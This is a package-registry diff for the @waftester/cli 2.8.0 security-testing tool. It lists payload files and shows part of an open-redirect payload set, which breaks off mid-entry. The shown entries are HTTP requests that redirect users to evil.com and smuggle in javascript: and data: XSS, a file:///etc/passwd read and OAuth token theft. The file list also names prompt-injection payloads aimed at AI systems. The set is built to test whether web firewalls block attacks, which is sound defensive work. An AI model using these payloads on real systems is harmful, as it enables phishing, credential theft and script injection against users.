@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,1028 @@
1
+ [
2
+ {
3
+ "id": "REDIRECT-BASIC-001",
4
+ "payload": "GET /redirect?url=https://evil.com HTTP/1.1",
5
+ "tags": ["open-redirect", "basic", "phishing", "critical"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "Basic open redirect to external domain",
9
+ "category": "Auth"
10
+ },
11
+ {
12
+ "id": "REDIRECT-BASIC-002",
13
+ "payload": "GET /redirect?url=http://evil.com HTTP/1.1",
14
+ "tags": ["open-redirect", "basic", "phishing", "critical"],
15
+ "expected_block": true,
16
+ "severity_hint": "Critical",
17
+ "notes": "Open redirect with HTTP protocol",
18
+ "category": "Auth"
19
+ },
20
+ {
21
+ "id": "REDIRECT-BASIC-003",
22
+ "payload": "GET /redirect?url=//evil.com HTTP/1.1",
23
+ "tags": ["open-redirect", "protocol-relative", "critical"],
24
+ "expected_block": true,
25
+ "severity_hint": "Critical",
26
+ "notes": "Protocol-relative URL redirect",
27
+ "category": "Auth"
28
+ },
29
+ {
30
+ "id": "REDIRECT-BASIC-004",
31
+ "payload": "GET /redirect?next=https://evil.com HTTP/1.1",
32
+ "tags": ["open-redirect", "next-param", "critical"],
33
+ "expected_block": true,
34
+ "severity_hint": "Critical",
35
+ "notes": "Redirect via 'next' parameter",
36
+ "category": "Auth"
37
+ },
38
+ {
39
+ "id": "REDIRECT-BASIC-005",
40
+ "payload": "GET /redirect?return=https://evil.com HTTP/1.1",
41
+ "tags": ["open-redirect", "return-param", "critical"],
42
+ "expected_block": true,
43
+ "severity_hint": "Critical",
44
+ "notes": "Redirect via 'return' parameter",
45
+ "category": "Auth"
46
+ },
47
+ {
48
+ "id": "REDIRECT-BASIC-006",
49
+ "payload": "GET /redirect?returnUrl=https://evil.com HTTP/1.1",
50
+ "tags": ["open-redirect", "returnUrl-param", "critical"],
51
+ "expected_block": true,
52
+ "severity_hint": "Critical",
53
+ "notes": "Redirect via 'returnUrl' parameter",
54
+ "category": "Auth"
55
+ },
56
+ {
57
+ "id": "REDIRECT-BASIC-007",
58
+ "payload": "GET /redirect?redirect_uri=https://evil.com HTTP/1.1",
59
+ "tags": ["open-redirect", "redirect_uri", "oauth", "critical"],
60
+ "expected_block": true,
61
+ "severity_hint": "Critical",
62
+ "notes": "Redirect via 'redirect_uri' (OAuth style)",
63
+ "category": "Auth"
64
+ },
65
+ {
66
+ "id": "REDIRECT-BASIC-008",
67
+ "payload": "GET /redirect?continue=https://evil.com HTTP/1.1",
68
+ "tags": ["open-redirect", "continue-param", "critical"],
69
+ "expected_block": true,
70
+ "severity_hint": "Critical",
71
+ "notes": "Redirect via 'continue' parameter",
72
+ "category": "Auth"
73
+ },
74
+ {
75
+ "id": "REDIRECT-BASIC-009",
76
+ "payload": "GET /redirect?destination=https://evil.com HTTP/1.1",
77
+ "tags": ["open-redirect", "destination-param", "critical"],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "Redirect via 'destination' parameter",
81
+ "category": "Auth"
82
+ },
83
+ {
84
+ "id": "REDIRECT-BASIC-010",
85
+ "payload": "GET /redirect?goto=https://evil.com HTTP/1.1",
86
+ "tags": ["open-redirect", "goto-param", "critical"],
87
+ "expected_block": true,
88
+ "severity_hint": "Critical",
89
+ "notes": "Redirect via 'goto' parameter",
90
+ "category": "Auth"
91
+ },
92
+ {
93
+ "id": "REDIRECT-BYPASS-001",
94
+ "payload": "GET /redirect?url=https://legitimate.com@evil.com HTTP/1.1",
95
+ "tags": ["open-redirect", "at-sign-bypass", "url-parsing", "critical"],
96
+ "expected_block": true,
97
+ "severity_hint": "Critical",
98
+ "notes": "@ symbol bypass - userinfo section abuse",
99
+ "category": "Auth"
100
+ },
101
+ {
102
+ "id": "REDIRECT-BYPASS-002",
103
+ "payload": "GET /redirect?url=https://evil.com#legitimate.com HTTP/1.1",
104
+ "tags": ["open-redirect", "fragment-bypass", "critical"],
105
+ "expected_block": true,
106
+ "severity_hint": "Critical",
107
+ "notes": "Fragment bypass - legitimate domain in hash",
108
+ "category": "Auth"
109
+ },
110
+ {
111
+ "id": "REDIRECT-BYPASS-003",
112
+ "payload": "GET /redirect?url=https://evil.com?legitimate.com HTTP/1.1",
113
+ "tags": ["open-redirect", "query-bypass", "critical"],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "Query string bypass - legitimate domain as param",
117
+ "category": "Auth"
118
+ },
119
+ {
120
+ "id": "REDIRECT-BYPASS-004",
121
+ "payload": "GET /redirect?url=https://legitimate.com.evil.com HTTP/1.1",
122
+ "tags": ["open-redirect", "subdomain-bypass", "critical"],
123
+ "expected_block": true,
124
+ "severity_hint": "Critical",
125
+ "notes": "Subdomain bypass - lookalike domain",
126
+ "category": "Auth"
127
+ },
128
+ {
129
+ "id": "REDIRECT-BYPASS-005",
130
+ "payload": "GET /redirect?url=https://evil.com/legitimate.com HTTP/1.1",
131
+ "tags": ["open-redirect", "path-bypass", "critical"],
132
+ "expected_block": true,
133
+ "severity_hint": "Critical",
134
+ "notes": "Path bypass - legitimate domain as path",
135
+ "category": "Auth"
136
+ },
137
+ {
138
+ "id": "REDIRECT-BYPASS-006",
139
+ "payload": "GET /redirect?url=https://evil.com\\@legitimate.com HTTP/1.1",
140
+ "tags": ["open-redirect", "backslash-bypass", "critical"],
141
+ "expected_block": true,
142
+ "severity_hint": "Critical",
143
+ "notes": "Backslash @ bypass",
144
+ "category": "Auth"
145
+ },
146
+ {
147
+ "id": "REDIRECT-BYPASS-007",
148
+ "payload": "GET /redirect?url=https://evil.com/%2F/legitimate.com HTTP/1.1",
149
+ "tags": ["open-redirect", "encoded-slash", "bypass", "critical"],
150
+ "expected_block": true,
151
+ "severity_hint": "Critical",
152
+ "notes": "Encoded slash bypass",
153
+ "category": "Auth"
154
+ },
155
+ {
156
+ "id": "REDIRECT-BYPASS-008",
157
+ "payload": "GET /redirect?url=https://legitimate.com%2F%2Fevil.com HTTP/1.1",
158
+ "tags": ["open-redirect", "double-encode", "bypass", "critical"],
159
+ "expected_block": true,
160
+ "severity_hint": "Critical",
161
+ "notes": "Double-encoded slash bypass",
162
+ "category": "Auth"
163
+ },
164
+ {
165
+ "id": "REDIRECT-BYPASS-009",
166
+ "payload": "GET /redirect?url=https:evil.com HTTP/1.1",
167
+ "tags": ["open-redirect", "missing-slash", "bypass", "critical"],
168
+ "expected_block": true,
169
+ "severity_hint": "Critical",
170
+ "notes": "Missing double slash bypass",
171
+ "category": "Auth"
172
+ },
173
+ {
174
+ "id": "REDIRECT-BYPASS-010",
175
+ "payload": "GET /redirect?url=https:/evil.com HTTP/1.1",
176
+ "tags": ["open-redirect", "single-slash", "bypass", "critical"],
177
+ "expected_block": true,
178
+ "severity_hint": "Critical",
179
+ "notes": "Single slash bypass",
180
+ "category": "Auth"
181
+ },
182
+ {
183
+ "id": "REDIRECT-BYPASS-011",
184
+ "payload": "GET /redirect?url=https:///evil.com HTTP/1.1",
185
+ "tags": ["open-redirect", "triple-slash", "bypass", "critical"],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "Triple slash bypass",
189
+ "category": "Auth"
190
+ },
191
+ {
192
+ "id": "REDIRECT-BYPASS-012",
193
+ "payload": "GET /redirect?url=\\/\\/evil.com HTTP/1.1",
194
+ "tags": ["open-redirect", "backslash-protocol", "bypass", "critical"],
195
+ "expected_block": true,
196
+ "severity_hint": "Critical",
197
+ "notes": "Backslash protocol-relative bypass",
198
+ "category": "Auth"
199
+ },
200
+ {
201
+ "id": "REDIRECT-BYPASS-013",
202
+ "payload": "GET /redirect?url=\\/evil.com HTTP/1.1",
203
+ "tags": ["open-redirect", "single-backslash", "bypass", "critical"],
204
+ "expected_block": true,
205
+ "severity_hint": "Critical",
206
+ "notes": "Single backslash redirect",
207
+ "category": "Auth"
208
+ },
209
+ {
210
+ "id": "REDIRECT-BYPASS-014",
211
+ "payload": "GET /redirect?url=%2F%2Fevil.com HTTP/1.1",
212
+ "tags": ["open-redirect", "encoded-protocol-relative", "critical"],
213
+ "expected_block": true,
214
+ "severity_hint": "Critical",
215
+ "notes": "URL-encoded protocol-relative",
216
+ "category": "Auth"
217
+ },
218
+ {
219
+ "id": "REDIRECT-BYPASS-015",
220
+ "payload": "GET /redirect?url=%252F%252Fevil.com HTTP/1.1",
221
+ "tags": ["open-redirect", "double-encoded", "bypass", "critical"],
222
+ "expected_block": true,
223
+ "severity_hint": "Critical",
224
+ "notes": "Double URL-encoded protocol-relative",
225
+ "category": "Auth"
226
+ },
227
+ {
228
+ "id": "REDIRECT-BYPASS-016",
229
+ "payload": "GET /redirect?url=//evil%E3%80%82com HTTP/1.1",
230
+ "tags": ["open-redirect", "unicode-dot", "bypass", "critical"],
231
+ "expected_block": true,
232
+ "severity_hint": "Critical",
233
+ "notes": "Unicode full-width dot bypass (U+3002)",
234
+ "category": "Auth"
235
+ },
236
+ {
237
+ "id": "REDIRECT-BYPASS-017",
238
+ "payload": "GET /redirect?url=https://evil。com HTTP/1.1",
239
+ "tags": ["open-redirect", "ideographic-dot", "bypass", "critical"],
240
+ "expected_block": true,
241
+ "severity_hint": "Critical",
242
+ "notes": "Ideographic full stop bypass",
243
+ "category": "Auth"
244
+ },
245
+ {
246
+ "id": "REDIRECT-BYPASS-018",
247
+ "payload": "GET /redirect?url=https://evil.com HTTP/1.1",
248
+ "tags": ["open-redirect", "fullwidth-dot", "bypass", "critical"],
249
+ "expected_block": true,
250
+ "severity_hint": "Critical",
251
+ "notes": "Full-width full stop bypass (U+FF0E)",
252
+ "category": "Auth"
253
+ },
254
+ {
255
+ "id": "REDIRECT-BYPASS-019",
256
+ "payload": "GET /redirect?url=https://ⓔⓥⓘⓛ.com HTTP/1.1",
257
+ "tags": ["open-redirect", "circled-letters", "bypass", "high"],
258
+ "expected_block": true,
259
+ "severity_hint": "High",
260
+ "notes": "Circled letters Unicode bypass",
261
+ "category": "Auth"
262
+ },
263
+ {
264
+ "id": "REDIRECT-BYPASS-020",
265
+ "payload": "GET /redirect?url=https://evil%00.com HTTP/1.1",
266
+ "tags": ["open-redirect", "null-byte", "bypass", "critical"],
267
+ "expected_block": true,
268
+ "severity_hint": "Critical",
269
+ "notes": "Null byte in domain bypass",
270
+ "category": "Auth"
271
+ },
272
+ {
273
+ "id": "REDIRECT-PROTOCOL-001",
274
+ "payload": "GET /redirect?url=javascript:alert(document.domain) HTTP/1.1",
275
+ "tags": ["open-redirect", "javascript", "xss", "critical"],
276
+ "expected_block": true,
277
+ "severity_hint": "Critical",
278
+ "notes": "JavaScript protocol XSS via redirect",
279
+ "category": "Auth"
280
+ },
281
+ {
282
+ "id": "REDIRECT-PROTOCOL-002",
283
+ "payload": "GET /redirect?url=javascript://evil.com/%0aalert(1) HTTP/1.1",
284
+ "tags": ["open-redirect", "javascript", "xss", "bypass", "critical"],
285
+ "expected_block": true,
286
+ "severity_hint": "Critical",
287
+ "notes": "JavaScript with comment bypass",
288
+ "category": "Auth"
289
+ },
290
+ {
291
+ "id": "REDIRECT-PROTOCOL-003",
292
+ "payload": "GET /redirect?url=data:text/html,<script>alert(1)</script> HTTP/1.1",
293
+ "tags": ["open-redirect", "data-uri", "xss", "critical"],
294
+ "expected_block": true,
295
+ "severity_hint": "Critical",
296
+ "notes": "Data URI XSS via redirect",
297
+ "category": "Auth"
298
+ },
299
+ {
300
+ "id": "REDIRECT-PROTOCOL-004",
301
+ "payload": "GET /redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== HTTP/1.1",
302
+ "tags": ["open-redirect", "data-uri", "base64", "xss", "critical"],
303
+ "expected_block": true,
304
+ "severity_hint": "Critical",
305
+ "notes": "Base64 data URI XSS",
306
+ "category": "Auth"
307
+ },
308
+ {
309
+ "id": "REDIRECT-PROTOCOL-005",
310
+ "payload": "GET /redirect?url=vbscript:msgbox(1) HTTP/1.1",
311
+ "tags": ["open-redirect", "vbscript", "ie", "high"],
312
+ "expected_block": true,
313
+ "severity_hint": "High",
314
+ "notes": "VBScript protocol (IE specific)",
315
+ "category": "Auth"
316
+ },
317
+ {
318
+ "id": "REDIRECT-PROTOCOL-006",
319
+ "payload": "GET /redirect?url=file:///etc/passwd HTTP/1.1",
320
+ "tags": ["open-redirect", "file-protocol", "lfi", "critical"],
321
+ "expected_block": true,
322
+ "severity_hint": "Critical",
323
+ "notes": "File protocol for local file access",
324
+ "category": "Auth"
325
+ },
326
+ {
327
+ "id": "REDIRECT-PROTOCOL-007",
328
+ "payload": "GET /redirect?url=file://evil.com/share HTTP/1.1",
329
+ "tags": ["open-redirect", "file-protocol", "unc", "high"],
330
+ "expected_block": true,
331
+ "severity_hint": "High",
332
+ "notes": "File protocol with UNC path",
333
+ "category": "Auth"
334
+ },
335
+ {
336
+ "id": "REDIRECT-CASE-001",
337
+ "payload": "GET /redirect?url=HTTPS://evil.com HTTP/1.1",
338
+ "tags": ["open-redirect", "case-variation", "bypass", "critical"],
339
+ "expected_block": true,
340
+ "severity_hint": "Critical",
341
+ "notes": "Uppercase protocol bypass",
342
+ "category": "Auth"
343
+ },
344
+ {
345
+ "id": "REDIRECT-CASE-002",
346
+ "payload": "GET /redirect?url=HtTpS://evil.com HTTP/1.1",
347
+ "tags": ["open-redirect", "mixed-case", "bypass", "critical"],
348
+ "expected_block": true,
349
+ "severity_hint": "Critical",
350
+ "notes": "Mixed case protocol bypass",
351
+ "category": "Auth"
352
+ },
353
+ {
354
+ "id": "REDIRECT-CASE-003",
355
+ "payload": "GET /redirect?url=JAVASCRIPT:alert(1) HTTP/1.1",
356
+ "tags": ["open-redirect", "javascript", "uppercase", "critical"],
357
+ "expected_block": true,
358
+ "severity_hint": "Critical",
359
+ "notes": "Uppercase JavaScript protocol",
360
+ "category": "Auth"
361
+ },
362
+ {
363
+ "id": "REDIRECT-WHITESPACE-001",
364
+ "payload": "GET /redirect?url=%20https://evil.com HTTP/1.1",
365
+ "tags": ["open-redirect", "leading-space", "bypass", "critical"],
366
+ "expected_block": true,
367
+ "severity_hint": "Critical",
368
+ "notes": "Leading space bypass",
369
+ "category": "Auth"
370
+ },
371
+ {
372
+ "id": "REDIRECT-WHITESPACE-002",
373
+ "payload": "GET /redirect?url=%09https://evil.com HTTP/1.1",
374
+ "tags": ["open-redirect", "tab", "bypass", "critical"],
375
+ "expected_block": true,
376
+ "severity_hint": "Critical",
377
+ "notes": "Leading tab character bypass",
378
+ "category": "Auth"
379
+ },
380
+ {
381
+ "id": "REDIRECT-WHITESPACE-003",
382
+ "payload": "GET /redirect?url=%0ahttps://evil.com HTTP/1.1",
383
+ "tags": ["open-redirect", "newline", "bypass", "critical"],
384
+ "expected_block": true,
385
+ "severity_hint": "Critical",
386
+ "notes": "Leading newline bypass",
387
+ "category": "Auth"
388
+ },
389
+ {
390
+ "id": "REDIRECT-WHITESPACE-004",
391
+ "payload": "GET /redirect?url=https://evil.com%20 HTTP/1.1",
392
+ "tags": ["open-redirect", "trailing-space", "bypass", "high"],
393
+ "expected_block": true,
394
+ "severity_hint": "High",
395
+ "notes": "Trailing space bypass",
396
+ "category": "Auth"
397
+ },
398
+ {
399
+ "id": "REDIRECT-IP-001",
400
+ "payload": "GET /redirect?url=http://167772161 HTTP/1.1",
401
+ "tags": ["open-redirect", "decimal-ip", "bypass", "critical"],
402
+ "expected_block": true,
403
+ "severity_hint": "Critical",
404
+ "notes": "Decimal IP address (10.0.0.1)",
405
+ "category": "Auth"
406
+ },
407
+ {
408
+ "id": "REDIRECT-IP-002",
409
+ "payload": "GET /redirect?url=http://0x0a.0x00.0x00.0x01 HTTP/1.1",
410
+ "tags": ["open-redirect", "hex-ip", "bypass", "critical"],
411
+ "expected_block": true,
412
+ "severity_hint": "Critical",
413
+ "notes": "Hexadecimal IP octets",
414
+ "category": "Auth"
415
+ },
416
+ {
417
+ "id": "REDIRECT-IP-003",
418
+ "payload": "GET /redirect?url=http://0x0a000001 HTTP/1.1",
419
+ "tags": ["open-redirect", "hex-ip", "bypass", "critical"],
420
+ "expected_block": true,
421
+ "severity_hint": "Critical",
422
+ "notes": "Hexadecimal IP combined",
423
+ "category": "Auth"
424
+ },
425
+ {
426
+ "id": "REDIRECT-IP-004",
427
+ "payload": "GET /redirect?url=http://012.0.0.1 HTTP/1.1",
428
+ "tags": ["open-redirect", "octal-ip", "bypass", "critical"],
429
+ "expected_block": true,
430
+ "severity_hint": "Critical",
431
+ "notes": "Octal IP address",
432
+ "category": "Auth"
433
+ },
434
+ {
435
+ "id": "REDIRECT-IP-005",
436
+ "payload": "GET /redirect?url=http://[::ffff:10.0.0.1] HTTP/1.1",
437
+ "tags": ["open-redirect", "ipv6-mapped", "bypass", "critical"],
438
+ "expected_block": true,
439
+ "severity_hint": "Critical",
440
+ "notes": "IPv6-mapped IPv4 address",
441
+ "category": "Auth"
442
+ },
443
+ {
444
+ "id": "REDIRECT-IP-006",
445
+ "payload": "GET /redirect?url=http://[::1] HTTP/1.1",
446
+ "tags": ["open-redirect", "ipv6-localhost", "bypass", "high"],
447
+ "expected_block": true,
448
+ "severity_hint": "High",
449
+ "notes": "IPv6 localhost",
450
+ "category": "Auth"
451
+ },
452
+ {
453
+ "id": "REDIRECT-OAUTH-001",
454
+ "payload": "GET /oauth/authorize?client_id=app&redirect_uri=https://evil.com/callback HTTP/1.1",
455
+ "tags": ["open-redirect", "oauth", "token-theft", "critical"],
456
+ "expected_block": true,
457
+ "severity_hint": "Critical",
458
+ "notes": "OAuth redirect_uri manipulation",
459
+ "category": "Auth"
460
+ },
461
+ {
462
+ "id": "REDIRECT-OAUTH-002",
463
+ "payload": "GET /oauth/authorize?client_id=app&redirect_uri=https://legitimate.com@evil.com HTTP/1.1",
464
+ "tags": ["open-redirect", "oauth", "at-sign", "critical"],
465
+ "expected_block": true,
466
+ "severity_hint": "Critical",
467
+ "notes": "OAuth @ bypass for token theft",
468
+ "category": "Auth"
469
+ },
470
+ {
471
+ "id": "REDIRECT-OAUTH-003",
472
+ "payload": "GET /oauth/authorize?client_id=app&redirect_uri=https://legitimate.com%2F@evil.com HTTP/1.1",
473
+ "tags": ["open-redirect", "oauth", "encoded-at", "critical"],
474
+ "expected_block": true,
475
+ "severity_hint": "Critical",
476
+ "notes": "OAuth encoded slash + @ bypass",
477
+ "category": "Auth"
478
+ },
479
+ {
480
+ "id": "REDIRECT-OAUTH-004",
481
+ "payload": "GET /oauth/callback?code=AUTH_CODE&state=xyz HTTP/1.1\r\nReferer: https://evil.com/",
482
+ "tags": ["open-redirect", "oauth", "referer-leak", "high"],
483
+ "expected_block": false,
484
+ "severity_hint": "High",
485
+ "notes": "OAuth code leak via Referer header",
486
+ "category": "Auth"
487
+ },
488
+ {
489
+ "id": "REDIRECT-SAML-001",
490
+ "payload": "GET /saml/login?RelayState=https://evil.com HTTP/1.1",
491
+ "tags": ["open-redirect", "saml", "relaystate", "critical"],
492
+ "expected_block": true,
493
+ "severity_hint": "Critical",
494
+ "notes": "SAML RelayState open redirect",
495
+ "category": "Auth"
496
+ },
497
+ {
498
+ "id": "REDIRECT-SAML-002",
499
+ "payload": "POST /saml/acs HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nSAMLResponse=...&RelayState=https://evil.com",
500
+ "tags": ["open-redirect", "saml", "post", "critical"],
501
+ "expected_block": true,
502
+ "severity_hint": "Critical",
503
+ "notes": "SAML POST RelayState redirect",
504
+ "category": "Auth"
505
+ },
506
+ {
507
+ "id": "REDIRECT-SSO-001",
508
+ "payload": "GET /sso/login?service=https://evil.com HTTP/1.1",
509
+ "tags": ["open-redirect", "sso", "cas", "critical"],
510
+ "expected_block": true,
511
+ "severity_hint": "Critical",
512
+ "notes": "CAS SSO service parameter redirect",
513
+ "category": "Auth"
514
+ },
515
+ {
516
+ "id": "REDIRECT-SSO-002",
517
+ "payload": "GET /sso/logout?redirect=https://evil.com HTTP/1.1",
518
+ "tags": ["open-redirect", "sso", "logout", "high"],
519
+ "expected_block": true,
520
+ "severity_hint": "High",
521
+ "notes": "SSO logout redirect",
522
+ "category": "Auth"
523
+ },
524
+ {
525
+ "id": "REDIRECT-LOGIN-001",
526
+ "payload": "GET /login?next=https://evil.com HTTP/1.1",
527
+ "tags": ["open-redirect", "login", "post-auth", "critical"],
528
+ "expected_block": true,
529
+ "severity_hint": "Critical",
530
+ "notes": "Post-login redirect manipulation",
531
+ "category": "Auth"
532
+ },
533
+ {
534
+ "id": "REDIRECT-LOGIN-002",
535
+ "payload": "POST /login HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=admin&password=pass&redirect=https://evil.com",
536
+ "tags": ["open-redirect", "login", "post", "critical"],
537
+ "expected_block": true,
538
+ "severity_hint": "Critical",
539
+ "notes": "Hidden redirect field in login form",
540
+ "category": "Auth"
541
+ },
542
+ {
543
+ "id": "REDIRECT-LOGOUT-001",
544
+ "payload": "GET /logout?redirect=https://evil.com HTTP/1.1",
545
+ "tags": ["open-redirect", "logout", "phishing", "high"],
546
+ "expected_block": true,
547
+ "severity_hint": "High",
548
+ "notes": "Post-logout redirect to phishing",
549
+ "category": "Auth"
550
+ },
551
+ {
552
+ "id": "REDIRECT-HEADER-001",
553
+ "payload": "GET / HTTP/1.1\r\nHost: legitimate.com\r\nX-Forwarded-Host: evil.com",
554
+ "tags": ["open-redirect", "host-header", "cache-poison", "critical"],
555
+ "expected_block": true,
556
+ "severity_hint": "Critical",
557
+ "notes": "Host header redirect via X-Forwarded-Host",
558
+ "category": "Auth"
559
+ },
560
+ {
561
+ "id": "REDIRECT-HEADER-002",
562
+ "payload": "GET / HTTP/1.1\r\nHost: evil.com",
563
